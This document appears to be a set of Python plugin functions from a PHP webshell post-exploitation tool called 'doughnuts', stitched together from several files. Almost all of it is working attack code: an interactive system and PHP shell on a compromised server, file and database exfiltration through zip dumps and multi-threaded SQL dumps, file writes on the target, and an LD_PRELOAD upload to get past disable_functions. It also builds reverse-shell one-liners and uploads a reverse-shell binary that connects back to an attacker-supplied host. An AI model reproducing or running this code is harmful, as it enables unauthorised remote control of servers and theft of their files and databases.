def set_mode(mode: int, test: bool = False): if (mode == 4 and not gget("webshell.ld_preload_path", "webshell", False)): disable_func_list = gget("webshell.disable_functions", "webshell") if (not gget("webshell.ld_preload_path", "webshell", None)): filename = "/tmp/%s.so" % str(uuid4()) ld_preload_func = send(get_detectd_ld_preload()).r_text.strip() upload_result = upload( path.join(getcwd(), "auxiliary", "ld_preload_x86_64.so"), filename, True) if (not upload_result): return gset("webshell.ld_preload_path", filename, True, "webshell") gset("webshell.ld_preload_func", ld_preload_func, True, "webshell") if ("putenv" in disable_func_list): print(color.red("\nputenv is disabled.\n")) return False if (not ld_preload_func): print(color.red("\nNo ld_preload function!\n")) return False if (mode in mode_require_ext_dict): ext = mode_require_ext_dict[mode] res = send(get_detectd_ext(ext)) if (not res): return False text = res.r_text.strip() if ("exist" not in text): print(color.red(f"\nNo {ext} extension!\n")) return False if (not test): if (mode == 7): print(color.yellow(f"\nYou may need to wait 1 second to get the result..\n")) print(f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n") gset("webshell.bypass_df", mode, True, "webshell") return True
def run(plugin_name: str, namespace: str = ""): """ reload Reload a plugin.(for dev) eg: reload {plugin_name} {namespace=current_namespace} namespace: - main - webshell """ namespace = namespace if namespace else gget("namespace") plugin_name = str(plugin_name) tpf = None npf = gget(f"{namespace}.pf") gpf = gget(f"general.pf") cpf = gget("custom.pf") if plugin_name in npf: # 命令存在 tpf = npf elif plugin_name in gpf: tpf = gpf namespace = "general" elif plugin_name in cpf: tpf = cpf namespace = "custom" if (not tpf): print(f'\n{plugin_name}: {color.red("Command Not Found")}\n') return if (tpf.load(plugin_name)): print( f'\n{color.green(f"Reload {namespace}.{plugin_name} success")}\n') else: print(f'\n{color.red(npf.get_message(plugin_name))}\n')
def run(web_file_path: str, local_path: str = "", _use_raw_php_to_zip: bool = True): """ dump Package and compress files in a folder and download it. eg: dump {web_file_path} {local_path=./site.com/...} """ if _use_raw_php_to_zip: php = get_raw_php(web_file_path) else: php = get_zip_php(web_file_path) res = send(php) if (not res): return content = res.r_content download_path = local_path or gget("webshell.download_path", "webshell") if len(content) and res.status_code == 200: file_name = (gget("webshell.netloc", "webshell") + ".zip" if (not len(local_path)) else "") if not path.exists(download_path): makedirs(download_path) file_path = path.join(download_path, file_name).replace("\\", "/") with open(file_path, "wb") as f: f.write(content) print(color.green(f"Downloaded file has been saved to {file_path}")) else: print(color.red("File not exist / Download error"))
def run(database: str = "", table: str = "", local_path: str = "", encoding: str = "utf8"): """ db_dump Dump a database or a table to a file, Default file name is {database}.sql. eg: db_dump {database=current_database} {local_path=doughnuts/target/site.com/{database}.sql} {encoding="utf-8"} """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return database = database if database else gget("db_dbname", "webshell") download_path = local_path or gget("webshell.download_path", "webshell") if not path.exists(download_path): makedirs(download_path) file_name = f"{database}.sql" if (not table) else f"{database}.{table}.sql" res = send(get_php(database, table, encoding)) if (not res): return text = res.r_text.strip() content = res.r_content.strip() if (len(text) > 0 and res.status_code == 200): file_path = path.join(download_path, file_name).replace("\\", "/") with open(file_path, "wb") as f: f.write(gzinflate(b64decode(content))) print("\n" + color.green(f"Dump {database} to {file_name} success") + "\n") elif ("Error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: print(color.red("\nError\n"))
def __init__(self, api: str = "run", init_namespace: str = "main"): """ Initialize the loop Args: api (str, optional): The name of the entry function that is common to all plugins.. Defaults to "run". default_namespace (str, optional): Initial namespace. Defaults to "main". """ platforms = self.set_platforms() gset("api", api) gset("loop", True) gset("blockexit", False) gset("namespace", init_namespace) gset("root_path", path[0]) gset("namespace_folders", platforms) gset("folders_namespace", {v: k for k, v in platforms.items()}) root_path = gget("root_path") cwd = getcwd() chdir(root_path) for k, v in platforms.items(): pf = import_platform(v, api) gset(k + ".pf", pf) gset(k + ".wordlist", {"command_wordlist": list(pf.names())}) gset(k + ".prefix_wordlist", {command: gget(command + ".arg_wordlist", k) for command in gget(k + ".wordlist")["command_wordlist"]}) general_wordlist = gget("general.wordlist")["command_wordlist"] for k in platforms.keys(): # 往其他插件平台添加general平台的命令列表 if (k == "general"): continue wordlist = gget(k + ".wordlist") wordlist["command_wordlist"] += general_wordlist for k, v in self.set_prompts().items(): gset(k + ".prompt", v) chdir(cwd)
def run(database: str = "", local_path: str = "", encoding: str = "utf8", blocksize: int = 1000, exclude: str = "", include: str = "", threads: int = 5): """ db_mdump Dump a database to a file by block compression and multi threads, Default file name is {database}.sql. You can use exclude options to exclude some tables. You can also use include options to dump only some tables. eg: db_mdump {database=current_database} {local_path=doughnuts/target/site.com/{database}.sql} {encoding="utf-8"} {blocksize=1000} {exclude="",eg="table1,table2"} {include="",eg="table1,table2"} {threads=5} """ global LOCK if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return database = database if database else gget("db_dbname", "webshell") download_path = local_path or gget("webshell.download_path", "webshell") if not path.exists(download_path): makedirs(download_path) res = send(get_table_name_php(database)) if (not res): return tables = res.r_text.strip() with LOCK: print(color.yellow(f"\n[Try] Dump {database}\n")) with ThreadPoolExecutor(max_workers=threads) as tp: all_task = [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table not in exclude.split(",")] if ( not include) else [tp.submit(thread_dump, database, table, encoding, download_path, blocksize, threads) for table in tables.split("\n") if table in include.split(",")] wait(all_task, return_when=ALL_COMPLETED) with LOCK: print(color.green(f"\n[Success] Dump {database}\n"))
def run(lhost: str, port: int, mode: int = 0, fakename: str = "/usr/lib/systemd"): """ reshell Bind a local port and wait for target connect back to get a full shell. eg: reshell {lhost} {port} {type=[python|upload]{1|2},default = 0 (Python:1 Not Python:2)} {(Only for Mode 2) fakename=/usr/lib/systemd} """ if (is_windows(False) or is_windows()): print(color.red(f"Only for both system is linux.")) return False try: port = int(port) except ValueError: port = 23333 disable_func_list = gget("webshell.disable_functions", "webshell") MODE = 1 print(color.yellow(f"Waring: You are using a testing command....")) print(color.yellow(f" Please make sure Port {port} open....")) if (mode == 0): if (has_env("python")): print(color.green(f"Traget has python environment.")) MODE == 1 else: print(color.red(f"Traget has not python environment.")) MODE == 2 else: MODE = int(mode) if ("proc_open" in disable_func_list): print(color.red("proc_open is disabled... Try Mode 3")) return if (MODE == 1): print(color.yellow(f"Use Mode 1->python")) command = get_php(lhost, port) else: print(color.yellow(f"Use Mode 2->upload")) filename = encrypt(f"{lhost}-{port}") if not upload( path.join(gget("root_path"), "auxiliary", "reshell", "reverse_server_x86_64"), "/tmp/%s" % filename, True): return command = get_system_code( f"cd /tmp && chmod +x {filename} && ./{filename} {fakename}", False) t = Thread(target=delay_send, args=(2, command)) t.setDaemon(True) t.start() print(f"Bind port {color.yellow(str(port))}...") if (not bind(port, MODE)): print(color.red(f"Bind port error.")) if (MODE == 3): res = send(f"unlink('/tmp/{filename}');") if (not res): return
def run(*commands): """ shell Get a temporary shell of target system by system function or just run a shell command. """ command = str(value_translation(gget("raw_command_args"))) if (command): res = send(get_system_code(command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n" )) res = send( f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());' ).r_text.strip() prompt, pwd = res.split("|") set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WINDOWS_WORDLIST if ( is_windows()) else NEW_UNIX_WORDLIST) if is_windows(): prompt = "%s> " else: prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ " try: while gget("loop"): print(prompt % pwd, end="") command = str(value_translation(readline())) lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue b64_pwd = base64_encode(pwd) if (lower_command.startswith("cd ") and len(lower_command) > 3): path = base64_encode(lower_command[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' + get_system_code(command)) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def print_webshell_info(): info = (gget("webshell.root", "webshell"), gget("webshell.os_version", "webshell"), gget("webshell.php_version", "webshell"), gget("webshell.server_version", "webshell"), gget("webshell.obd", "webshell", "None")) info_name = ("Web root:", "OS version:", "PHP version:", "Server version:", "Open_basedir:") for name, info in zip(info_name, info): print(name + "\n " + info + "\n")
def is_windows(remote: bool = True): if (remote): return gget("webshell.iswin", "webshell") else: if (not gget("iswin")): flag = True if 'win' in system().lower() else False gset("iswin", flag) else: flag = gget("iswin") return flag
def run(table: str): """ db_columns Output all columns of a table. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return database = gget("db_dbname", "webshell") print(execute_sql_command(f"show columns from {table};", database))
def run(database: str = ""): """ db_tables Output all tables of a database. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return database = database if database else gget("db_dbname", "webshell") print(execute_sql_command("show tables;", database))
def get_connect_code(host="", username="", password="", dbname="", port=""): host = host if host else gget("db_host", "webshell", "") username = username if username else gget("db_username", "webshell", "") password = password if password else gget("db_password", "webshell", "") dbname = dbname if dbname else gget("db_dbname", "webshell", "") port = port if port else gget("db_port", "webshell", "") connect_code = '$con=mysqli_connect(%s);' temp_code = ",".join([ f'"{y}"' for y in filter(lambda x: x, (host, username, password, dbname, port)) ]) return connect_code % temp_code
def run(): """ db_shell Get a temporary sql shell of target system. """ if (not gget("db_connected", "webshell")): print(color.red("Please run db_init command first")) return print( color.cyan( "Eenter interactive temporary sql shell...\n\nUse 'back' command to return doughnuts.\n" )) database = gget("db_dbname", "webshell") prompt = "mysql (%s) > " set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_SQL_WORDLIST) try: while gget("loop"): print(prompt % color.cyan(database), end="") command = readline() lower_command = command.lower() if (lower_command.lower() in ['exit', 'quit', 'back']): print() break if (command == ''): print() continue if (lower_command.startswith("use ") and len(lower_command) > 4): try: temp_database = match("use ([^;]*);?", lower_command).group(1) res = send(check_database(temp_database)) if ("Connect error" in res.r_text): print("\n" + color.red(res.r_text.strip()) + "\n") else: database = temp_database print("\n" + color.green( f"Change current database: {database}") + "\n") except (IndexError, AttributeError): print("\n" + color.red("SQL syntax error") + "\n") else: form = execute_sql_command(command, database) if (form == ''): print("\n" + color.red("Connection Error / SQL syntax error") + "\n") else: print(execute_sql_command(command, database)) finally: gset("db_dbname", database, True, "webshell") readline.set_wordlist(wordlist)
def run(*commands): """ webshell Get a webshell of target system or just run a webshell command. """ command = gget("raw_command_args") if (command): res = send((command)) if (not res): return print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n") return print( color.cyan( "Eenter interactive temporary webshell...\n\nUse 'back' command to return doughnuts.\n" )) pwd = send(f'print(getcwd());').r_text.strip() set_namespace("webshell", False, True) wordlist = gget("webshell.wordlist") readline.set_wordlist(NEW_WORDLIST) try: while gget("loop"): print(f"webshell:{pwd} >> ", end="") data = readline(b"(") lower_data = data.lower() if (lower_data.lower() in ['exit', 'quit', 'back']): print() break if (data == ''): print() continue data = base64_encode(data) b64_pwd = base64_encode(pwd) if (lower_data.startswith("cd ") and len(lower_data) > 3): path = base64_encode(lower_data[3:].strip()) res = send( f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());' ) if (not res): return pwd = res.r_text.strip() else: res = send( f'eval("chdir(base64_decode(\'{b64_pwd}\'));eval(base64_decode(\'{data}\'));");' ) if (not res): return print("\n" + res.r_text.strip() + "\n") finally: readline.set_wordlist(wordlist)
def helpmenu(): global GENERAL_DOC, MAIN_DOC, WEBSHELL_DOC namespace = gget("namespace") if (namespace == "main"): # print(gget("type_func_dict", namespace="general")["general"]) if (not GENERAL_DOC): GENERAL_DOC = "\n".join( gget(func_name + ".helpdoc", namespace="general") for func_name in gget("type_func_dict", namespace="general")["general"]) if (not MAIN_DOC): MAIN_DOC = "\n".join( gget(func_name + ".helpdoc", namespace=namespace) for func_name in gget("type_func_dict", namespace=namespace)["general"]) print(GENERAL_DOC) print(MAIN_DOC + "\n") elif (namespace == "webshell"): type_list = gget("type_list", namespace=namespace) if (not WEBSHELL_DOC): type_list.sort() for _type in type_list: WEBSHELL_DOC += "\n[%s]\n\n" % _type WEBSHELL_DOC += "\n".join( gget(func_name + ".helpdoc", namespace=namespace) for func_name in gget("type_func_dict", namespace=namespace)[_type]) WEBSHELL_DOC += "\n" print("\n[GENERAL]\n") print(GENERAL_DOC) print(WEBSHELL_DOC + "\n")
def run(id: int = 0): """ load Load a webshell from log. eg: load {id} """ pf = gget("main.pf") root_path = gget("root_path") webshell_log_path = path.join(root_path, "webshell.log") if (not path.exists(webshell_log_path)): print(color.red("No webshell.log")) return f = open(webshell_log_path, "r+") lines = f.readlines() try: if (id <= 0): line_num = pf["show"].run() print("choose:>", end="") load_id = readline() if (load_id.isdigit()): load_id = int(load_id) else: print(color.red("\nInput Error\n")) return else: load_id = id line_num = len(lines) if load_id <= line_num: data = lines[load_id - 1].strip().split("|") gset("webshell.from_log", True, namespace="webshell") connect = pf["connect"].run(*data) if (not connect): print( "\nThis webshell seems to no longer working, do you want to delete it?\n\n(YES/no) >", end="") flag = input() if (flag.lower() in ['n', 'no']): return del lines[load_id - 1] f.seek(0) f.truncate() f.write("".join(lines)) else: print(color.red("ID error")) finally: f.close()
def fake_ua(): user_agents = gget( "user_agents", default= ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", )) return choice(user_agents).strip()
def run(editor: str = ""): """ execute execute Custom PHP code by notepad / vi as default or your own editor. eg: execute {editor=""} """ file_name = str(uuid4()) file_path = gget("webshell.download_path", "webshell") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name).replace("\\", "/") open(real_file_path, "a").close() open_editor(real_file_path, editor) with open(real_file_path, "r") as f: code = f.read() if (code.startswith("<?php")): code = code[5:] if (code.endswith("?>")): code = code[:-2] print(color.yellow("Execute php code...")) res = send(code) if (not res): return text = res.r_text.strip() status_code = color.green(str( res.status_code)) if res.status_code == 200 else color.yellow( str(res.status_code)) print( f"\n{color.green('Result:')}\n[{status_code}] {color.cyan('length')}: {len(text)} \n{text}\n" ) remove(real_file_path)
def get_reverse_python(ip, port): if is_windows(): return oneline_python("""import os, socket, subprocess, threading, sys os.chdir('%s') def s2p(s, p): while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush() def p2s(s, p): while True: s.send(p.stdout.read(1).encode()) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect(("%s", %s)) except: s.close(); sys.exit(0) p=subprocess.Popen(["cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True) threading.Thread(target=s2p, args=[s,p], daemon=True).start() threading.Thread(target=p2s, args=[s,p], daemon=True).start() try: p.wait() except: s.close(); sys.exit(0)""" % ( gget("webshell.root", "webshell"), ip, port, )) else: return ( oneline_python("""python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn('/bin/sh');s.close();'""" % (ip, port)) )
def run(): """ execute execute Custom PHP code by notepad/vi. eg: execute """ file_name = "tmp" + str(uuid4()) file_path = gget("webshell.download_path", "webshell").replace(":", "_") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name) with open(real_file_path, "w"): pass open_editor(real_file_path) with open(real_file_path, "r") as f: code = f.read().strip("<?php").strip("?>") print(color.yellow("Execute php code...")) res = send(code) if (not res): return text = res.r_text.strip() print(color.green("\nResult:\n") + text + "\n") remove(real_file_path)
def get_raw_php(web_file_path: str): with open(path.join(gget("root_path"), "auxiliary", "zip", "zip.php"), "r", encoding="utf-8") as f: text = f.read() % web_file_path.strip("\\") text = text.replace("<?php\n", "") return text
def get_table_row_number(database, table): connect_type = gget("db_connect_type", "webshell") if (connect_type == "pdo"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $content=""; $table="%s"; $table_list = $con->query("select count(*) from $table;"); $result = $table_list->fetchAll(); echo $result[0][0]; """ % (get_db_connect_code(dbname=database), table) elif (connect_type == "mysqli"): php = """%s if(!$con){ die("Error : connect to sql failed..."); } $table="%s"; $table_list = mysqli_query($con,"select count(*) from $table;"); $result = mysqli_fetch_all($table_list); echo $result[0][0]; """ % (get_db_connect_code(dbname=database), table) else: php = "" res = send(php) try: return int(res.r_text.strip()) except ValueError: return -1
def get_table_name_php(database): connect_type = gget("db_connect_type", "webshell") if (connect_type == "pdo"): return """%s if(!$con){ die("Error : connect to sql failed..."); } $content=""; $table_list = $con->query("show tables"); while($table_data = $table_list->fetch(PDO::FETCH_BOTH)){ $content .= $table_data[0]."\\n"; } echo $content; """ % (get_db_connect_code(dbname=database)) elif (connect_type == "mysqli"): return """%s if(!$con){ die("Error : connect to sql failed..."); } $content=""; $table_list = mysqli_query($con,"show tables"); while($table_data = mysqli_fetch_array($table_list)){ $content .= $table_data[0]."\\n"; } echo $content; """ % (get_db_connect_code(dbname=database)) else: return ""
def run(web_file_path: str, editor: str = ""): """ write Write files directly to the target system by notepad / vi as default or your own editor. eg: write {web_file_path} {editor=""} """ file_name = str(uuid4()) file_path = gget("webshell.download_path", "webshell") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name).replace("\\", "/") open(real_file_path, 'a').close() open_editor(real_file_path, editor) with open(real_file_path, "r") as f: result = base64_encode(f.read()) res = send( f"print(file_put_contents('{web_file_path}', base64_decode('{result}')));" ) if (not res): return text = res.r_text.strip() if (match(r"\d+", text)): print(color.green(f"\nWrite {web_file_path} success.\n")) else: print(color.red(f"\nWrite {web_file_path} failed.\n")) remove(real_file_path)
def run(): """ show Show log webshells. """ root_path = gget("root_path") webshell_log_path = path.join(root_path, "webshell.log") if not path.exists(webshell_log_path): print(color.red("No webshell.Log")) return 0 with open(webshell_log_path, "r") as f: lines = f.readlines() for index, line in enumerate(lines, 1): data = line.strip().split("|") if (len(data) < 3): continue data[2] = f"$ {data[2]} $" encoders = (e for e in data[3:] if ":" not in e) extra_params = " ".join(e for e in data[3:] if ":" in e) for func in encoders: data[2] = f"{func}({data[2]})" print( f"[{color.cyan(str(index))}] [{color.yellow(data[1])}] {data[0]} {color.green(data[2])} {extra_params}" ) return len(lines)
def get_php(command, database): connect_type = gget("db_connect_type", "webshell") connect_code = get_connect_code(dbname=database) command = base64_encode(command) if (connect_type == "pdo"): return """try{%s $r=$con->query(base64_decode('%s')); $rows=$r->fetchAll(PDO::FETCH_ASSOC); foreach($rows[0] as $k=>$v){ echo "$k*,"; } echo "\\n"; foreach($rows as $array){foreach($array as $k=>$v){echo "$v*,";};echo "\\n";} } catch (PDOException $e){ die("Connect error: ". $e->getMessage()); }""" % (connect_code, command) elif (connect_type == "mysqli"): return """%s $r=$con->query(base64_decode('%s')); $rows=$r->fetch_all(MYSQLI_ASSOC); foreach($rows[0] as $k=>$v){ echo "$k*,"; } echo "\\n"; foreach($rows as $array){foreach($array as $k=>$v){echo "$v*,";};echo "\\n";}""" % ( connect_code, command) else: return ""
def run(web_file_path: str): """ write Write files directly to the target system by notepad/vi. eg: write {web_file_path} """ file_name = path.split(web_file_path)[1] file_path = gget("webshell.download_path", "webshell").replace(":", "_") if not path.exists(file_path): makedirs(file_path) real_file_path = path.join(file_path, file_name) with open(real_file_path, "w"): pass open_editor(real_file_path) with open(real_file_path, "r") as f: result = base64_encode(f.read()) res = send( f"print(file_put_contents('{web_file_path}', base64_decode('{result}')));" ) if (not res): return text = res.r_text.strip() if (match(r"\w+", text) and text != '0'): print(color.green(f"\nWrite {web_file_path} success.\n")) else: print( color.red(f"\nWrite {web_file_path} failed.") + color.yellow("\n\nResponse:") + f"\n{text}\n") remove(real_file_path)
def run( web_file_path: str, local_path: str = "", ) -> bool: """ download Download file(s) from target system. eg: download {web_file_path} {local_path=./site.com/...} """ php = get_php(web_file_path) res = send(php) if (not res): return content = res.r_content download_path = local_path or gget("webshell.download_path", "webshell") if len(content): file_name = path.split(web_file_path)[1] if not path.exists(download_path): makedirs(download_path) file_path = path.join(download_path, file_name) with open(file_path, "wb") as f: f.write(content) print(color.green(f"Downloaded file has been saved to {file_path}")) return file_path else: print(color.red("File not exist / Download error")) return ''
def run(switch: str = ""): """ verbose Open / Close verbose info for prompt. switch: - ON - OFF """ switch = switch.upper() if (switch in ["ON", "OFF", ""]): switch_name = "PROMPT.VERBOSE" if switch == "": gset(switch_name, not gget(switch_name, default=False)) elif switch == "ON": gset(switch_name, True) elif switch == "OFF": gset(switch_name, False) update_prompt() print( f"\nSet verbose info: {color.green('On') if gget(switch_name) else color.red('Off')}\n" ) else: print(color.red("\nNo this switch\n"))